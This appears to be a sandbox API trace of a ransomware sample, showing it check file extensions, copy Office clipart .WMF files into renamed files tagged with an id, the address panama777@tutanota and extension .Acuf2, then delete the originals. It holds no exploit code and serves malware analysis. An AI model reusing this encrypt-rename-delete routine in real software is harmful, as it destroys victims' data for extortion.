	[0257.937] lstrlenW (lpString=".zip") returned 4
	[0257.937] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.937] lstrlenW (lpString=".rar") returned 4
	[0257.937] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.937] lstrlenW (lpString=".bz2") returned 4
	[0257.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.937] lstrlenW (lpString=".7z") returned 3
	[0257.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63
	[0257.937] lstrlenW (lpString=".dbf") returned 4
	[0257.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63
	[0257.937] lstrlenW (lpString=".1cd") returned 4
	[0257.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63
	[0257.938] lstrlenW (lpString=".jpg") returned 4
	[0257.938] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63
	[0257.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63
	[0257.938] lstrlenW (lpString=".doc") returned 4
	[0257.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.938] lstrlenW (lpString=".docx") returned 5
	[0257.938] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.938] lstrlenW (lpString=".pdf") returned 4
	[0257.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.938] lstrlenW (lpString=".xls") returned 4
	[0257.938] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.938] lstrlenW (lpString=".xlsx") returned 5
	[0257.938] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.938] lstrlenW (lpString=".ppt") returned 4
	[0257.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63
	[0257.938] lstrlenW (lpString=".zip") returned 4
	[0257.938] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0258.110] lstrlenW (lpString=".rar") returned 4
	[0258.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0258.111] lstrlenW (lpString=".bz2") returned 4
	[0258.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0258.111] lstrlenW (lpString=".7z") returned 3
	[0258.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0258.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63
	[0258.111] lstrlenW (lpString=".dbf") returned 4
	[0258.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0258.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63
	[0258.111] lstrlenW (lpString=".1cd") returned 4
	[0258.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0258.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 63
	[0258.111] lstrlenW (lpString=".jpg") returned 4
	[0258.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0258.111] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0258.111] lstrlenW (lpString="BOATINST.WMF") returned 12
	[0258.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0258.184] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=29004) returned 1
	[0258.184] CloseHandle (hObject=0x29c) returned 1
	[0258.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf")) returned 0x20
	[0258.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0258.369] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.369] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0258.370] GetLastError () returned 0x0
	[0258.370] ReadFile (in: hFile=0x338, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x714c, lpOverlapped=0x0) returned 1
	[0258.416] WriteFile (in: hFile=0x350, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x7150, lpOverlapped=0x0) returned 1
	[0258.417] ReadFile (in: hFile=0x338, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.417] WriteFile (in: hFile=0x350, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0258.417] SetEndOfFile (hFile=0x350) returned 1
	[0258.417] CloseHandle (hObject=0x350) returned 1
	[0258.417] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.417] SetEndOfFile (hFile=0x338) returned 1
	[0258.420] CloseHandle (hObject=0x338) returned 1
	[0258.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0258.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf")) returned 1
	[0258.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63
	[0258.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63
	[0258.468] lstrlenW (lpString=".doc") returned 4
	[0258.468] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0258.468] lstrlenW (lpString=".docx") returned 5
	[0258.468] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0258.468] lstrlenW (lpString=".pdf") returned 4
	[0258.468] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0258.468] lstrlenW (lpString=".xls") returned 4
	[0258.468] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0258.468] lstrlenW (lpString=".xlsx") returned 5
	[0258.468] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0258.468] lstrlenW (lpString=".ppt") returned 4
	[0258.468] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0258.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63
	[0258.468] lstrlenW (lpString=".zip") returned 4
	[0258.468] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0258.468] lstrlenW (lpString=".rar") returned 4
	[0258.468] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0258.468] lstrlenW (lpString=".bz2") returned 4
	[0258.468] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0258.468] lstrlenW (lpString=".7z") returned 3
	[0258.468] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0258.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63
	[0258.468] lstrlenW (lpString=".dbf") returned 4
	[0258.468] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0258.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63
	[0258.468] lstrlenW (lpString=".1cd") returned 4
	[0258.468] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0258.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63
	[0258.468] lstrlenW (lpString=".jpg") returned 4
	[0258.468] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0258.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63
	[0258.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63
	[0258.469] lstrlenW (lpString=".doc") returned 4
	[0258.469] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0258.469] lstrlenW (lpString=".docx") returned 5
	[0258.469] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0258.469] lstrlenW (lpString=".pdf") returned 4
	[0258.469] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0258.469] lstrlenW (lpString=".xls") returned 4
	[0258.469] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0258.469] lstrlenW (lpString=".xlsx") returned 5
	[0258.469] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0258.469] lstrlenW (lpString=".ppt") returned 4
	[0258.469] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0258.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63
	[0258.469] lstrlenW (lpString=".zip") returned 4
	[0258.469] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0258.469] lstrlenW (lpString=".rar") returned 4
	[0258.469] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0258.469] lstrlenW (lpString=".bz2") returned 4
	[0258.469] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0258.469] lstrlenW (lpString=".7z") returned 3
	[0258.469] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0258.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63
	[0258.469] lstrlenW (lpString=".dbf") returned 4
	[0258.469] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0258.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63
	[0258.469] lstrlenW (lpString=".1cd") returned 4
	[0258.469] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0258.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63
	[0258.469] lstrlenW (lpString=".jpg") returned 4
	[0258.470] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0258.470] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0258.470] lstrlenW (lpString="BS00100_.WMF") returned 12
	[0258.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0258.470] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=2378) returned 1
	[0258.470] CloseHandle (hObject=0x328) returned 1
	[0258.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x20
	[0258.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0258.471] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.471] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0258.471] GetLastError () returned 0x0
	[0258.471] ReadFile (in: hFile=0x328, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x94a, lpOverlapped=0x0) returned 1
	[0258.513] WriteFile (in: hFile=0x33c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x950, lpOverlapped=0x0) returned 1
	[0258.514] ReadFile (in: hFile=0x328, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.514] WriteFile (in: hFile=0x33c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0258.514] SetEndOfFile (hFile=0x33c) returned 1
	[0258.565] CloseHandle (hObject=0x33c) returned 1
	[0258.565] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.565] SetEndOfFile (hFile=0x328) returned 1
	[0258.567] CloseHandle (hObject=0x328) returned 1
	[0258.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0258.689] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf")) returned 1
	[0258.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63
	[0258.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63
	[0258.710] lstrlenW (lpString=".doc") returned 4
	[0258.710] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0258.710] lstrlenW (lpString=".docx") returned 5
	[0258.710] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0258.710] lstrlenW (lpString=".pdf") returned 4
	[0258.710] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0258.710] lstrlenW (lpString=".xls") returned 4
	[0258.710] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0258.710] lstrlenW (lpString=".xlsx") returned 5
	[0258.710] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0258.710] lstrlenW (lpString=".ppt") returned 4
	[0258.711] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0258.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63
	[0258.711] lstrlenW (lpString=".zip") returned 4
	[0258.711] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0258.711] lstrlenW (lpString=".rar") returned 4
	[0258.711] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0258.711] lstrlenW (lpString=".bz2") returned 4
	[0258.711] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0258.711] lstrlenW (lpString=".7z") returned 3
	[0258.711] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0258.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63
	[0258.711] lstrlenW (lpString=".dbf") returned 4
	[0258.711] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0258.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63
	[0258.711] lstrlenW (lpString=".1cd") returned 4
	[0258.711] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0258.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63
	[0258.711] lstrlenW (lpString=".jpg") returned 4
	[0258.711] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0258.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63
	[0258.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63
	[0258.711] lstrlenW (lpString=".doc") returned 4
	[0258.711] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0258.711] lstrlenW (lpString=".docx") returned 5
	[0258.711] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0258.711] lstrlenW (lpString=".pdf") returned 4
	[0258.711] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0258.711] lstrlenW (lpString=".xls") returned 4
	[0258.711] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0258.711] lstrlenW (lpString=".xlsx") returned 5
	[0258.711] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0258.711] lstrlenW (lpString=".ppt") returned 4
	[0258.711] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0258.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63
	[0258.712] lstrlenW (lpString=".zip") returned 4
	[0258.712] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0258.712] lstrlenW (lpString=".rar") returned 4
	[0258.712] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0258.712] lstrlenW (lpString=".bz2") returned 4
	[0258.712] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0258.712] lstrlenW (lpString=".7z") returned 3
	[0258.713] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0258.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63
	[0258.713] lstrlenW (lpString=".dbf") returned 4
	[0258.713] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0258.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63
	[0258.713] lstrlenW (lpString=".1cd") returned 4
	[0258.713] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0258.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63
	[0258.713] lstrlenW (lpString=".jpg") returned 4
	[0258.713] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0258.713] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0258.713] lstrlenW (lpString="BS00200_.WMF") returned 12
	[0258.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0258.713] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=3104) returned 1
	[0258.713] CloseHandle (hObject=0x358) returned 1
	[0258.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf")) returned 0x20
	[0258.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0258.714] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.714] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0258.714] GetLastError () returned 0x0
	[0258.714] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xc20, lpOverlapped=0x0) returned 1
	[0258.731] WriteFile (in: hFile=0x33c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xc30, lpOverlapped=0x0) returned 1
	[0258.732] ReadFile (in: hFile=0x358, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.732] WriteFile (in: hFile=0x33c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0258.732] SetEndOfFile (hFile=0x33c) returned 1
	[0259.406] CloseHandle (hObject=0x33c) returned 1
	[0259.406] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.406] SetEndOfFile (hFile=0x358) returned 1
	[0259.408] CloseHandle (hObject=0x358) returned 1
	[0259.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.428] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00200_.wmf")) returned 1
	[0259.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63
	[0259.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63
	[0259.428] lstrlenW (lpString=".doc") returned 4
	[0259.428] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.428] lstrlenW (lpString=".docx") returned 5
	[0259.428] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.428] lstrlenW (lpString=".pdf") returned 4
	[0259.428] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.428] lstrlenW (lpString=".xls") returned 4
	[0259.428] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.428] lstrlenW (lpString=".xlsx") returned 5
	[0259.428] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.429] lstrlenW (lpString=".ppt") returned 4
	[0259.429] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 63
	[0259.429] lstrlenW (lpString=".zip") returned 4
	[0259.429] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.429] lstrlenW (lpString=".rar") returned 4
	[0259.429] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.429] lstrlenW (lpString=".bz2") returned 4
